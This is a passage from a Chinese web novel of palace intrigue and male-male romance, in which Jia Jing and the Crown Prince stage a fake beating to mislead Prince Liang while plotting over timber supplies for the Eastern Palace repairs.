贾敬这话并非是胡诌,天丰帝本就不愿意看见宁国府出个前途无量的文臣,若是贾敬真的沉溺于戏子男色中,因此坏了名声,天丰帝大概是乐见其成的。 萧淮川自然也听出了贾敬话中的意思。 “况且,我不还有你吗?” 贾敬可怜巴巴望着萧淮川,“我知道淮哥不会不管我的。” 萧淮川颔首,“倘若我也觉得你行事过了,不管呢?到那时,你又该如何?” 贾敬眼尾下垂,叹了口气,“那我只能认罚,让淮哥你出气了。” 谁知萧淮川当真点了头,“是要罚你。” 贾敬愕然。 · 全京城大多数人在早起时就听闻了一件大事,昨天夜里春风楼,齐王殿下萧淮洵和宁国公府二爷贾敬因一个戏子闹了一场。 一时间议论纷纷。 “齐王殿下居然包养小戏子?” “还为了那戏子跟宁国府的贾培元闹的不愉快。” “不愧是崇雅堂的青老板,魅力着实大。” “这齐王殿下也是糊涂,谁不知道当年太祖皇帝恨极了这个,居然敢闹出这样的事情,圣上最是仁孝……” “……可不是嘛,若是真喜欢,这藏着些,也不打紧,竟闹的人尽皆知。” “你们不知道吧?早上御史的折子已经递到圣上跟前儿,圣上大发雷霆,罚齐王殿下禁足,闭门思过一个月。” “我听闻,齐王殿下还负责东宫修葺的事宜吧?这禁足了,谁担此重任?” “到底是圣上亲子,又不是什么大错,左不过是那戏子没脸皮,勾引了殿下。” 不过这番言论,多数人是嗤之以鼻,也都好奇起贾敬来。 “倒是没想到,宁国府二爷贾培元,居然也好男风。” “哼,我早就知他与常人不同,京中与他一般大的王孙公子们,哪个不早已成家?他前些月又高中进士,多少夫人眼中的金龟婿,他愣是一个也没看上啊。” “闹出这荒唐事,就连齐王殿下都领了罚,贾培元安然无事?” “这你就有所不知了,御史台那些御史,多半不是那等厚此薄彼之人,参人的折子也是两人一起参的。” “齐王殿下,圣上是罚了,可到了那贾培元,圣上感念其先父贾代化之功,以及多年情谊,轻拿轻放了,只是让他回去思过三日。” “宁国府如今当家人是他亲兄贾敷,近些日子不在京中,更没人管得了他。” “怪不得敢如此猖狂,本以为他是个好的,没想到也是个沉迷酒色的纨绔。” “我倒是羡慕他,没人管,想怎么玩怎么玩。” “羡慕?没人管?”有人嗤笑,“你们怕是还忘了一个人。” “谁?”连圣上都不管的人,还有谁管? “看来你们还不知道,太子殿下今日一早听闻了这事,就已经将那贾培元抓回去教训。” “太子殿下气急了,居然打了贾培元三十板子,人回到宁国府的时候,是横着被抬进去的!” “那屁股上,全是血咧!” 而被“打”了三十大板,血肉模糊被横着抬进府的贾敬,此时正在宁国府花厅内接受史云棠的审问。 “阿元!到底是怎么一回事!” 史云棠也一早听到了风声,急得如热锅上的蚂蚁。 她刚准备想要回史家托她父亲打听打听情况,必要时候为贾敬求求情,就听闻贾敬已经回来了。 可看着贾敬横着被抬进府里,背后一片血红,史云棠当即变了脸色,腿脚都有些发软。 话还没问出口,又见贾敬“蹭”得站起身,动作麻利顺畅,丝毫没有受伤的模样。 “嫂子别急!我没事!”贾敬连忙安抚史云棠。 史云棠拍着胸口,坐下稳了稳心神,望向贾敬一脸正色,“你如实招来。” 贾敬见史云棠是真的被吓到了,连忙将事情的前因后果都说与她听。 包括春风楼的算计,以及和萧淮川演的这出苦肉计。 只是……隐去了他和萧淮川互剖心意的事情。 史云棠听得有些晕乎,在脑中过了好几遍,才将这些理清楚。 她伸出手,直戳贾敬脑门,“你如今是越发能耐了,你哥不在京中,你就这般胡闹?” “这种浑水你也敢蹚?” 贾敬眨了眨眼睛,“我哥知道,我和他说了。” 他瞬间把贾敷卖了,知道一部分也算知道啊。 史云棠一哽,直接一个飞眼,贾敬相信,若是贾敷在此,定要被他嫂子这如快刀的飞眼飞死。 紧接着史云棠又想起另外一件事,就问贾敬,“你为个小戏子和齐王起冲突,太子殿下没察觉什么?” 贾敬故作没听懂:“察觉什么?” 史云棠:“你喜欢男子,他没什么想法?” “我和他说,这是我装的,为了引诱萧淮洵上钩。”贾敬满脸无辜地跟史云棠解释。 史云棠扯了扯嘴角:“他信了?” 贾敬点头:“是啊。” 史云棠直接一拍桌子,不禁有些恨铁不成钢,“真是根木头!” 贾敬望着自己嫂子嫌弃的神情,心里暗自发笑。 萧大木头。 “他真什么也没看出来?”史云棠还不死心,又问了一遍。 贾敬再次肯定。 史云棠轻啧一声,看来还是无缘。 她又看了看贾敬那满身血污,蹙眉,“你快去将你这一身洗洗,一股味儿。” 贾敬应了,转身回他自己的院子前,他又拜托史云棠, “嫂子,圣上罚我闭门思过三日,淮哥如今又打了我三十大板,这些日子我大抵就窝在府里哪里也不去了。如果有人上门来,还请嫂子为我挡挡。” 史云棠摆手,“这些我都晓得。” 贾敬所料不差,第二日,就有人来登门拜访了。 第104章 来人确实让贾敬意外, 是梁王萧淮泽府上的管家,奉梁王之名,为贾敬送来了上好的膏药和补品。 贾敬望着桌上送来的一大堆东西, 稍稍挑眉,“他送了这些东西,就回去了?” 他若是没猜错, 萧淮泽送这些东西来, 目的是为了试探自己。一来看自己是否真的被萧淮川罚了, 二来, 若是萧淮川真的罚了他,就算他们之间没有嫌隙,萧淮泽也会尽可能从中作梗。 史云棠坐在贾敬对面, “那管家还说, 要代梁王探望探望你,被我挡了回去。” “你和梁王私交如何?”史云棠手指拨了一下那一堆东西,以她的见识,自然也清楚这是些顶好的东西。 “没什么私交。”贾敬耸了一下肩膀。 话是这么说, 可贾敬的眼底却染上了一层复杂和冷意。 若是贾敬无上一世萧淮泽成为新帝后的记忆,他对此人是没什么印象的。 萧淮泽与萧淮洵年岁只差了几个月, 但出身却差了许多。 贾敬跟在萧淮川身后读书时, 也就贵妃之子萧淮洵会在他面前蹦跶几下, 时不时两人发生点冲突, 至于萧淮泽, 毫无存在。 可就是这么一个不声不响的皇子, 最后登上了帝位。 萧淮川“意外”薨逝后, 朝堂新立太子之声此起彼伏, 天丰帝自己身体也每况愈下, 他本只想扶持一个能掌控的傀儡新帝,便选了萧淮泽,以为好掌控,却没想到,萧淮泽藏得极深。 上一世,太上皇与新帝一面演着父慈子孝,一面拿着旧臣新贵分派斗法,一直到贾敬吞丹自殁前,太上皇也还强撑着最后一口气牵制萧淮泽。 贾敬自殁前,寻着当年萧淮川身死留下的蛛丝马迹查到了一些线索,却没想到与萧淮泽有关,正当他想要接着查下去时,便发现萧淮泽已然惊觉,将一切线索抹去。 新帝实力已稳,老勋贵们却已经在新帝和太上皇之间的斗法里纷纷倒台,被抄家流放的不在少数,心如死灰的贾敬不能为萧淮川报仇,也不愿牵连家中,早已经不想活的他,这才吞了丹。 上天垂帘,他又重活一世。贾敬先前针对齐王萧淮洵一切的目的,都是为了他背后站着的萧淮泽。 本以为他还要借机去接近萧淮泽,没想到,萧淮川和自己的这一出苦肉计倒是钓到了这条大鱼。 贾敬转头看向史云棠,“嫂子,待会儿你……” · 宁国府西角门对面一角落,站着三个人,一位弓着腰轻声询问: “成大总管,咱们就这么回去?王爷可是让咱们要亲眼见到贾二爷是何模样。” 旁边一人面色为难,“别说模样了,连影子都没见着。” “只是瞧那宁国府大太太面色憔悴,嘴上都记得起了燎泡,想来贾家二爷伤得不轻。” 前面那位穿着最好的中年男人眯起眼,盯着对面的宁国府,“再等等。” 成总管看了眼旁边的小厮模样,思忖道:“实在不行,你等会看他们府有什么采买出来,跟着混进去。” 小厮有些慌,“大总管,小的没干过这个……” 话没说完,就见他们盯着的对面宁国府西角门匆匆忙忙跑出来一个人,身后还追着一人。 成大总管几人就听见身后那人扯着嗓子喊道: “快些去请平安堂的李大夫,二爷高烧不退啊!你腿脚快,你先去!” “务必要将人请来!” 成大总管和身边小厮对视一眼,很快就悄无声息的跟上。 一直到傍晚,天渐渐暗下来,宁国府小厮才送着一位背着药箱的大夫出了门。 “李大夫,您路上慢些,马车给您安排好了,保管将您送到家。” 小厮吩咐好马车,望着马车离去,才转身回了府。 而李大夫这马车一路朝外城跑去,那是平安堂的方向,李大夫家就住在平安堂后面。 李大夫下马车道谢后,转身推门而入,入眼便见到几位不速之客,下意识就要惊呼,却被人一把捂住了嘴,发不出一丝声响。 端坐在院中的中年男人笑了声,“李大夫别怕,老夫只是有件事要问李大夫。” 李大夫闻言,看着面前之人衣着不凡,眼底虽带着惊疑,却还是点了头,表示自己愿意配合。 成总管一摆手,捂着李大夫的人便移开了手,只是李大夫还是牢牢地被人要挟控制着,不能动弹。 李大夫稍稍挣扎了一下,见压着自己的手劲骤然变大,也识时务为俊杰,不再动了,他咽了咽口水,声音发着抖, “不知阁下是哪位府上的贵人……” 李大夫试探的话语没说完,就被成总管打断,“李大夫,你是聪明人,老夫是何身份,奉劝李大夫莫打听。” 语气里尽是威胁。 李大夫脸色白了白,“阁下想知道什么?我就是个大夫……” 成总管似笑非笑,“李大夫不用妄自菲薄,您的医术在全京城都叫得上名,京中达官显贵都尊您为座上宾呢。” “你看今日宁国府不就请您去了?” 李大夫眼皮微微一动,就又听成总管问:“不知今日李大夫去给贾二爷看伤,看的如何?” 这话一出,李大夫瞬间明白这人来意,脸色又差了几分。 注意到李大夫变了脸色,成总管面上也跟着沉了沉,“到底如何?” 李大夫眉头紧皱,面色难堪,“实不相瞒,在下无能为力,那伤势太重,若是烧降不下来……” “这么严重?”成总管不信,反问,“你真的治不好?” 李大夫一听,连忙摇头,“这可不能赖到我的头上,是下手的人太重了!” “那三十大板,结结实实,就是给个虎背熊腰的壮汉也撑不下来,更何况贾家二爷是个金尊玉贵的瓷人哪里承受得住。” 李大夫一脸为难,“老夫是真的没办法,这宁国府这般尊贵,还是想办法请太医院的太医吧。” 成总管盯着李大夫看了好一会儿,慢慢抬起手。 束缚李大夫的力量瞬间消失,李大夫一个腿软就跌在了地上。 “打搅李大夫了。” 成总管一行人丢下这么一句话,就带着一帮人消失了。 李大夫盯着他们那行人离开的背影,抬起手,用袖子擦了擦额头上的冷汗,踉跄着起身,关了院门。 成总管回了梁王府,当即向萧淮泽禀告。 萧淮泽此时正在书房练着字,听着成总管汇报,一言不发,待手上这幅字写完,才搁下笔,对成总管招招手, “来瞧瞧本王这字如何?” 成总管看了一眼,对着萧淮泽的字就是一顿夸,谁知萧淮泽并未高兴,他冷不丁冒了一句, “都道贾培元的字一绝,你可见过他的字?” 成总管本就对字没什么研究,对于贾敬的书法名声也是不屑一顾,“王爷,那不过是他们互相吹捧的虚名罢了。” 这话倒是将萧淮泽逗笑了,幸灾乐祸地开口道: “也不知道萧淮川到底看上那贾培元什么了,自小就不是省心的货色,他还当宝一样护着。” 贾敬相较于他们,更像是萧淮川的弟弟。 “如今闹出包养戏子的名声,他也算是搬起石头打自己的脚了。” “啧啧啧,没想到萧淮川竟然向贾培元下这么重的手。”萧淮泽啧了几声,肉眼可见的好心情。 “太子是怕这坏名声牵扯到自身吧。”成总管听萧淮泽这般说,“王爷这是信了?” “哼,他最是会装。” 萧淮泽拿起他刚刚写好的那副字,欣赏了一会儿,嘴上随意道: “信不信,派个太医去看看不就知道了?” 眼底却是狠意和认真。 “要是真的,那萧淮川可真是铁面无私又无情;若是假的……那便是欺君之罪!” 萧淮泽将那幅字拿起来,递到成总管手里,“给本王拿去裱了,本王要送到太后宫中。” “是,老奴明白。” 第二日上午,太医院便来了人到宁国府,史云棠白着一张脸见人,显得疲惫憔悴,但对于太医上门,她又很是惊喜,仿佛是看到了救星。 “麻烦大人了,快去随我看看阿元去。” 史云棠引着人进去,边问道:“我府上并未来及请人,大人如何来此?” “可是太子殿下?”史云棠试探问。 太医摇头,“早上梁王殿下去服侍太后娘娘,提及了贵府二爷,说他听闻贾二爷因伤势烧了一夜,这才请了太后娘娘恩典,派微臣前来。” 史云棠始料未及,没想到竟然是梁王萧淮泽,她赶忙招呼旁边丫鬟,“去,准备一个厚礼,给梁王妃送去。” 话说着,就来到了贾敬的院子,太医一进去,就闻到了浓郁的药味和血腥味,脚步又快了几分。 史云棠就看着太医推门而入,并未阻止,而是带着小丫鬟去了旁边的偏房。 太医一进屋,就将贾敬全身扫了一遍,悠然开口道: “二爷好滋润呐。” 贾敬将手中剥好的核桃丢入嘴中,咀嚼完才笑着看向那太医, “刘太医,我这不是好好在家养伤吗?” 这位太医正是萧淮川的心腹,刘兆刘太医。 “刘太医,坐。”贾敬招呼人坐下,旁边早已经备好了茶水,他直接端到了刘太医面前。 刘太医也不推辞,直接坐下。 “今日你前来,梁王会信?”贾敬还是有些不放心,“你确定没人知道你是淮哥的人?” 刘兆胡子吹了吹,“休要小看老夫的本事。” 他刘兆在太医院数十载,向来独来独往,痴迷于药理医典。若不是曾得先皇后文淑皇后相助,为报其恩,他也不可能效忠于萧淮川。 “二爷放心,待检查时辰一过,老夫就走了,该说什么,老夫也都清楚,殿下都已交代过了。” 果然,时辰一过,刘太医便起身告辞,出门前,他递给了贾敬一个小白瓶。 “二爷,这是老夫自己琢磨的消肿去淤药膏,给您试试。” 贾敬有些懵得接过,嘴里下意识嘀咕,“我又没真的受伤……” 刘太医朝贾敬促狭一笑,贾敬瞬间有了一种不好的预感。 只见刘太医抬起手,点了点脖颈处,调侃道: “天还未热,二爷就招来了蚊虫,可要好好注意啊。” “这蚊虫着实生猛,二爷可得防着些。” 贾敬直接僵在了原地,一直到刘太医背着药箱出去,才骤然回神。 手里攥着小瓷瓶,一个箭步就冲到了镜子前,昂着头,眼睛下撇,望着镜中映出的脖颈上,星星点点的红痕。 昨晚萧淮川翻墙进来,死活要来赖在他这里休息,明明睡觉时还很是安分,何时多了这些! 他不信以刘太医的眼力,分不出吻痕和蚊虫叮咬的红肿! 贾敬的脸上瞬间爬上热意,手中握着的小瓷瓶烫得灼人,随即丢到了桌上。 “萧、淮、川!” 第105章 素雪正帮贾敬擦着头发, 忽听得外面有了一声“咔嚓”轻响。 她手下动作慢了下来,探着脑袋朝外喊了声,“阿福, 去看看怎么回事。” “诶!”外头遥遥传来一声应答。 贾敬盘玩着衣带的手一顿,眸光微闪,“许是哪里窜来的野猫, 不必管他。” 素雪笑着, 手上接着为贾敬擦发, “大抵是这样, 谅那小贼也不敢闯咱们国公府。” 贾敬抬手将素雪擦发的手挡开,“素雪,你去小厨房将今日刘大夫带来的药煎了。” “您又不是真的伤了, 还煎药吗?”素雪不解。 贾敬:“做戏要做全, 这些时日盯着咱们的人可不少,所以素雪,这事儿全权交于你,我才放心。” 素雪福至心灵, 立刻明白了贾敬的意思,“二爷放心, 素雪定会注意。” “只是二爷您这头发还未擦干, 素雪为您擦干发再……” 贾敬摆手, “不用, 我自己再擦一阵, 你先去吧, 别耽误久了。” 素雪见贾敬发梢那一截湿发, 犹豫片刻, 还是听话退了出去。 “阿元, 宁国公府的护院该换了。” 萧淮川身着玄色衣袍沾着片夹竹桃叶,悄无声息地从窗外翻了进来。 贾敬手拿着帕子随意擦着,睨了眼整理衣袍下摆的萧淮川,嘴角勾起一抹嘲讽, “你这般行事都差点被当成了贼,我若是加强了护院,呵。” “你就不能走正门?堂堂太子还天天翻人家墙头……”贾敬忍不住嘀咕,话音未落,整个人一个悬空。 “啊!” 贾敬惊呼出声,萧淮川一手扶着贾敬的腰,一手托着,直接将贾敬抵在梳妆台上。 “干什么!”贾敬不自在地扭了扭身子。 萧淮川托着贾敬的那只手直接一捏,又使得贾敬闷哼一声,脸直接热得发烫。 “光瞧着还未发觉,阿元这块儿肉还真多。” 贾敬努力绷着脸,粗喘着气,直接朝萧淮川飞眼看去, “你再不放手,我可要生气了。” 萧淮川盯着贾敬的脸,笑了一声,这才抽出手,还稳了稳贾敬的肩膀,让他在梳妆台上坐稳。 “哪有坐这上面的?”贾敬手撑着桌案边,刚要下去,却被萧淮川按住。 “就这么坐着,刚好方便我给你擦发。” 萧淮川目光落在贾敬的胸口处,下垂的湿发时不时滴着水,沾湿了胸襟。 他拿过刚刚贾敬擦发的帕子,手指撩起湿发擦了起来。 贾敬垂眸,将萧淮川此时的模样尽收眼底。 烛火摇曳,昏黄的烛光洒在萧淮川的脸上,高挺的鼻梁落下一层阴影,薄唇微抿。平日里清冷自持的眉眼,此时眼里心里全是温柔。 贾敬坐在梳妆台上,双腿随意晃荡着,饶有兴致地打量起眼前专心为自己擦头发的萧淮川。 萧淮川本就比贾敬高上一些,储君身份更是让众人无法直视于他,就连贾敬平日里也得注意许多。 这还是贾敬第一次这般居高临下地看着萧淮川,如此独特的角度,让贾敬自觉很是新鲜。 “想什么呢,这么专注,都不说话。” 萧淮川似乎察觉到贾敬的目光,掀起半扇眼帘,随口问着,手上的动作却未曾停下。 贾敬回过神来,嘴角勾起,嘴上促狭道:“没想到,太子殿下还能干伺候人的活计了。” 萧淮川手上的动作微微一顿,眼中满是无奈,“也就是你了。” 他说罢,直接上手捏了捏贾敬的鼻子。 贾敬难受地偏了偏头,故意颐指气使道:“干活哪有走神的?好好擦!” 萧淮川自然顺着他。 “好了。”萧淮川将贾敬头发擦干,刚要收回手,却被贾敬一把抓住了手腕。 “嗯?”萧淮川询问。 贾敬定定地望着萧淮川,“这样的感觉真好。” “你若是喜欢,以后都由我来。”萧淮川眼中笑意浓了几分。 他朝贾敬勾了勾手指,贾敬歪了歪脑袋,不解却还是向前垂下了头。 萧淮川直接贴向贾敬的耳畔,轻声道:“贾二爷记得给我留扇窗。” 他的没脸没皮让贾敬不由得咬了一下牙,目光一瞥,就落在桌案一处。 贾敬伸手捞起桌案上一个物件,就朝萧淮川砸去,啐了一口,“没个正行!” “明个儿我就叫人将窗子封了。” 萧淮川将那物件拿在手里,一看是个小瓷瓶,还未凑近,就闻到了一股药味,他蹙眉抬眼, “这是什么药?”他的指尖摩挲着瓷瓶。 贾敬见萧淮川问起这个,想起早上刘太医送他药膏时的糗事,直接气笑出了声,“你还好意思问?” 萧淮川眨了眨眼睛,他还真不知晓发生了何事。 可不管他怎么问,贾敬就是不说,只是一味地瞪着他。 萧淮川将那瓷瓶凑近,似曾相识的味道。 他凤眸微眯,微凉的指甲顺着贾敬半敞开的中衣领口滑了进去,抚摸着那突出的锁骨, “你不说,我怎知做错了什么?” 萧淮川边说着,手指一路向上摸去,恰好按到贾敬今日藏了一天的红痕。 “怎么不涂?” “你明知故问!”贾敬桃花眼上挑,眼眸水润,眼尾的红意都染上了脸颊,不知是恼得还是羞得。 萧淮川并未反驳,只是将瓷瓶打开,挖出一指来,先是在掌心抹匀,随后才小心均匀地涂抹在贾敬白皙的脖颈上。 在萧淮川掌心温过的药膏并不凉,贾敬稍稍仰着脖颈。 冲鼻的药味不断钻入贾敬的鼻子里,不由得皱了皱鼻子。 萧淮川见贾敬那模样,“别嫌这味道冲,刘太医研制的这个药膏效果很好。” 贾敬眼皮动了动,“你就是这么认出来的?” “看来刘太医很得你的信任,” 萧淮川顺势说起了当年文淑皇后恩遇刘太医一事。 刘太医痴迷医药典籍,不爱与人交谈,因此也得罪了不少人,太医院许多人排挤坑害他,若不是文淑皇后那次暗地搭救,他的小命就搭进去了。 在文淑皇后的庇护下,刘太医安心在太医院研究医药典籍,文淑皇后薨逝后,刘太医面上依旧是独来独往,可私下里只对萧淮川效忠。 “如此说来,刘太医今日为我诊治说的所有说辞,萧淮泽都会信?” 萧淮川摇摇头,“他这人,多疑,想让他彻底信,没那么容易。” “不过,要的就是他的半信半疑。” 贾敬听闻萧淮川对萧淮泽的判断,微微挑眉,“你是查到了什么?” 萧淮川点点头,“他确实藏得极深,也私下里做了许多事。” “不过只要做了,就不会什么痕迹都不留下。” “他勾结了西边的苗疆巫族。” 贾敬听了这话,激动地滑下梳妆桌,“你抓到他勾结苗疆巫族的证据了?” 上一世,他隐约怀疑过,却未能证实,就被萧淮泽出手将证据销毁。 萧淮川低头看着贾敬赤脚站在地上,不认可地拧着眉,直接托着贾敬的腰胯,一提,让他赤足踩上萧淮川的靴面。 “已经查的差不多了。”萧淮川还是盯着贾敬的脚看。 贾敬的关注却不再这上面,“对了,我哥寄信来了,我们老亲薛家手上就有木材生意,如今刚好有工部修葺东宫需要的木料。” “那匹木料就在距离京城三四百里的地方,比萧淮洵手下那王大人想要收的木材,近了快一千里。” “你是想让薛家从王常手里接下木料采买?” 贾敬缓缓一笑,“距离京中最近的就是那里,能省下那么多的运输银两,王常不会拒绝。” “那匹木料,薛家对外也是挂了别人家的名,萧淮洵不会知道。” “一来,你那头盯着萧淮泽,二来,木料这里有我盯着,如何?” 萧淮川颔首,“咱们贾二爷拿主意就好。” 贾敬还想说什么,萧淮川却单手拦腰将贾敬抱起,贾敬再次悬空,吓得搂住萧淮川的脖子。 “如今夜深人静,可不是讨论政事的时候。” 萧淮川空着的那只手摸向了贾敬的脚踝,“这脚冻得跟生铁似的。” 他抱着贾敬,径直向床榻走去。 待萧淮川刚将贾敬放在床上,就听门外传来了一声敲门声,紧接着素雪的声音传来, “二爷,您歇了下了吗?” 贾敬猛地扯过床幔,层层纱幔落下,两人身影隐在其后。 他先是眼神示意萧淮川别吭声,随后他冲门外喊道: “已经歇下了。” 素雪又道:“可要素雪进来将烛火剪暗些。” 贾敬声音拔高,“不用!这些我自己来!你去歇着吧!” 素雪也不怀疑,转身离开。 贾敬听着脚步声渐去,提着的那口气才松下。 “我听闻,许多少爷公子都有丫鬟在外间陪睡……” 萧淮川幽幽开口,酸意直冲贾敬而来。 贾敬瞥了萧淮川一眼,“我也听闻,皇子们年纪轻轻可都有教导宫女。” 他们互相都知道彼此,都知对方没有这些,也是萧淮川嘴难受,问了这个问题。 萧淮川不禁苦笑,还真是自作自受。 贾敬好整以暇望着萧淮川,“不问了?” 萧淮川挑眉,直接将贾敬压在锦被上,凑近轻声问: “贾二爷,我是很见不得人吗?” 贾敬抬手抵住萧淮川凑近,认真望着萧淮川, “别怀疑,我们就是在偷情。” “也见不得光,你自己不也是翻墙进来的吗?唔……” 贾敬口中的话被萧淮川忽然贴近的唇堵住,剩下的话都被堵在了喉间,被迫咽了回去。 萧淮川的手穿插在贾敬散落的发间,两人紧紧贴着,攻城略地。 “哈……哈……” 贾敬只觉自己要窒息时,萧淮川终于放开了他,闷笑出声, “贾二爷,还要多练练。” “滚!” 第106章 素雪端着铜盆进了屋, 一抬头,目光就定在了贾敬的脸上,“二、二爷, 您的嘴……” 贾敬偏过头,清了清嗓子,“最近火气有些大。” 素雪眼含奇怪, 还想说什么, 贾敬率先打断, “你最近吩咐厨房做些败火的膳食。” “是。” 贾敬洗漱时还不小心扯到了破皮的嘴角, 心中又不禁暗骂一声。 跟狗似的,就会啃人,要不是脖子上涂了药, 肯定也得被啃了。 贾敬低头对着盆中水面照了照, 见脖颈上白皙一片,不由得挑眉,喃喃道:“这药膏还真是奇效。” “二爷,小的为您去翰林院告假, 被薛大人、宋大人还有程大人拦下,说等下了值就来探望您。” 门外从翰林院告假回来的阿禄向贾敬禀告。 贾敬一听薛琼、宋子虚还有程一序要来探望自己, 无奈揉了揉额角, “你下午去翰林院守着, 等他们下值, 拦住他们。” “就说我伤势严重, 心情郁结, 不见客, 心意领了。” 阿禄得了贾敬的吩咐, 立刻应了。 贾敬又问:“阿寿从崇雅堂回来了吗?” 阿禄:“还未回来。” 贾敬颔首, 他让阿寿留在崇雅堂,就是让其盯着青老板有什么动静,亦或者青老板有什么要紧事联系自己,阿寿也能跑个腿。 因着萧淮洵与贾敬这一事,近些日子都是京里的热聊谈资,无论是各官署公房还是王公侯府都在议论。 翰林院官署公房内。 宋子虚眼神飘忽、心不在焉地整理着书册。 程一序眸光扫到不远处朝这里走来的高大人,手肘捅向一旁的宋子虚。 宋子虚猛地回神,也注意到高大人的身影,连忙垂下脑袋盯着书册上的字。 下一瞬,一只手拿起宋子虚桌案上的一本册子,翻看了起来。 宋子虚僵了僵,缓缓抬起头,见是高大人拿着他整理的书册,紧张的心都提到了嗓子眼。 高大人翻看书册的手速很快,忽然,他翻页的手一顿,垂眼对上宋子虚紧张兮兮的眼睛。 “高大人……”宋子虚讷讷开口。 高大人把那书册扔到了宋子虚面前,宋子虚连忙看去,只见是一处明显的错误,当即脸色变了变。 “错了,改。” 宋子虚缩了缩脑袋,高大人也转头看向了薛琼和程一序两人,又看了看旁边空座的桌案,手指了指桌案上的一摞书册, “你们下值将这些给他送去。” 薛琼和程一序对视一眼,未回答,宋子虚愣了一下,连忙道: “高大人,培元伤得严重,在家养伤……” “呵。”高大人冷笑一声,“他若是不能干,以后翰林院就别来了。” 丢下这句话,高大人便直接转身离开了, 待他走后,这间公房的几人才松了口气。 小胖子郑春撇了撇嘴,“培元兄这次是真的惹怒了太子殿下,听说三十大板让培元兄皮开肉绽,高烧不退。” “即便是如此,东宫那儿也没派人去宁国府问过一句话,倒是梁王殿下送了东西,还向太后娘娘请了旨意,为培元兄请了太医。” “不过是养了个戏子……”郑春旁边一人刻意压低着声音,“有那么严重吗?” 对桌一人嗤笑,“咱们太子殿下最是高风亮节,眼里可容不了这样的沙子。” “要是眼里不容沙子,那高大人才是,贾培元都躺在家中不能动了,他竟能让人把公务送到人家里去。” “你们……”宋子虚不愿听这些人议论贾敬,刚站起身,就被薛琼一把拉住制止。 “不必逞一时之快。” 程一序则是移到了贾敬的桌案上,一边整理着他桌案上的东西,一边对宋子虚道: “你要是真的担心他,帮他把这些处理了?” 宋子虚下意识接口,“我处理就我处理。” 程一序扬了扬手中的书册,瞥了眼宋子虚案前那一大摞,开口是压抑不住的调侃, “我瞧着你是心有力而力不足啊。” 宋子虚望着自己面前刚被高大人点出错处的书册,梗了梗脖子,还想再逞能,薛琼无奈地拍了宋子虚一下, “培元做事稳当严谨,他自己的事情会处理好,我们将高大人的话带去便好。” “你还是自己将事情做好,快将刚刚高大人点出的错处改了。” 宋子虚这才去忙自己的事。 薛琼和程一序一起将贾敬桌案上的书册都整理归类好,等着下值一并拿走。 一下值,三人刚出翰林院大门,在门口等候的阿禄立刻迎了上去,将贾敬的话带到。 但有了高大人命其送书册一事,宋子虚三人还是去了宁国府。 史云棠如接待其他人一半,早早在前厅准备了茶水招待,但话里话外的意思都是,贾敬伤势严重,不便见客。 薛琼躬身,“还望太太转告高大人的话,也愿培元早日康复。” 程一序紧跟其后,宋子虚嘴唇蠕动,终是没再开口,也跟着行礼,离开。 出了宁国府,程一序看向薛琼,“子谦,你是不是知道什么?” 薛琼摇头,目光沉着认真,“我不知道,但我相信培元。” 他相信贾培元不会那么胡来。 “你呢?”薛琼又问程一序。 程一序笑了笑,却没回答薛琼。 他是不信太子殿下真的忍心罚贾敬,他们之间的相处…… “你们在说什么?”宋子虚稍稍瞪着眼睛,左瞧瞧右看看,看着薛琼和程一序两人说着他听不懂的话。 程一序勾唇一笑,“无事。” 贾敬这头则是看着那一摞的书册,不禁抽了抽嘴角,“这高大人也真是个人才啊。” 他“伤”了不能当值,结果就将他的公务送家里来了? “二爷,小的回来了。”阿寿快步走进屋内,到了贾敬跟前。 “青老板那里有新动静了。” 贾敬眯起眼,“什么情况?” 阿寿:“齐王被禁足在齐王府,不得外出。” “所以齐王晚上欲接青老板入府。” 贾敬的嘴角扯出一抹嘲讽,“他还真是好心情。” 天丰帝如此震怒,萧淮洵还敢让青老板入府。 阿寿抓了抓脸,小声道:“许是齐王真的喜爱青老板。” “呵。”贾敬冷笑,“喜爱?” “他不过是贪图一时享乐,若是真的在意,就不会在这个节骨眼儿上接他入府了。” 一旦被天丰帝知晓此事,萧淮洵顶多是被天丰帝训斥一番,可青老板可能连命都会丢掉。 这些戏子在天丰帝眼里,不过是一群蝼蚁,是带坏他儿子的罪魁祸首。 贾敬瞥了一眼阿寿,“你回来跟我禀告这个消息,是青老板让你来的吧。” 阿寿点头,“是,青老板嘱咐小的,务必将此事告诉二爷您。” “他是不想去,想请您出手?”阿寿试探问出口。 贾敬:“他是不想去,但是他不得不去。” “他既然有这份诚意在,我也不会给他拖后腿。” 贾敬飞快地写下两张纸条,交到阿寿手上,“你去办两件事,一张纸条先送到青老板那里,一张纸条送到城东远白木料行。” 阿寿也不多问,拿上纸条便离开了。 是夜,天色暗的伸手不见五指,崇雅堂后院跑出了一辆不起眼的马车。 “萧淮川欺人太甚!” “啪!” 瓷器摔在地上,砸出一片清脆声响。 青老板敛眉,隐去眼底厌恶和恶心,绕过地上瓷片,到了齐王萧淮洵的跟前,轻声道: “王爷何故如此动怒?” 萧淮洵见青老板来了,脸色松了松,可怒气依旧未消。 他一把拉过青老板坐下,忿忿道:“父皇罚了本王禁足,可工部的活计还要干。” 青老板端起旁边下人重新沏好的茶,递到萧淮洵面前,温声劝着,“这不是好事吗?说明圣上看重王爷。” 这话算是取悦了萧淮洵,“本王也不是不愿做。” “只是那萧淮川如今执掌户部,今日工部递上去的木料花销核算竟然被驳了!” “简直岂有此理,说这份核算超了。” “本王还是在他修宫殿呢!” 萧淮洵是越说越气,越说越憋屈,他费心费力给萧淮川修葺东宫,还被萧淮川批花销超了!不给他拨钱! 青老板听着差点笑出了声,他极力压制住自己想要上翘的嘴角,故作善解人意道: “如此,那他们户部批多少钱,王爷就给使多少钱,反正那宫殿王爷也不需要去住。” 这就是让萧淮洵以次充好,糊弄这次修缮之事了。 萧淮洵本也想这么做,这是最简单的方法,可若是东宫真的出了什么事,萧淮洵不敢担。 但这话他又不能跟青老板说,更加憋屈了。 青老板见萧淮洵夺过他面前的水杯就灌了下去,眼眸闪了闪。 “啊,烫烫烫!” 萧淮洵一口水喷出,捂着被烫麻得嘴,说话都不利索了。 青老板:“呀,王爷您慢些,这是将将倒的茶水,还烫着呢!” 萧淮洵舌头又麻又疼,更气了,差点一口气没喘过来,缓了好久,他小心翼翼的捂着嘴,只觉得倒霉晦气。 青老板眼眸一转,“王爷方才提到木材,水青想起崇雅堂的票友里就有位做木料买卖的商户,据他所说,他的木料就距京七八百里的地方。” 萧淮洵蹭得站起身,“真的?” “是啊。” 青老板浅浅一笑,心道:贾二爷给的鱼饵钓着鱼了。 第107章 “好像是叫……远白木料行。”青老板努力回忆了一下名字。 萧淮洵朝旁边一个小厮抬了下下巴, 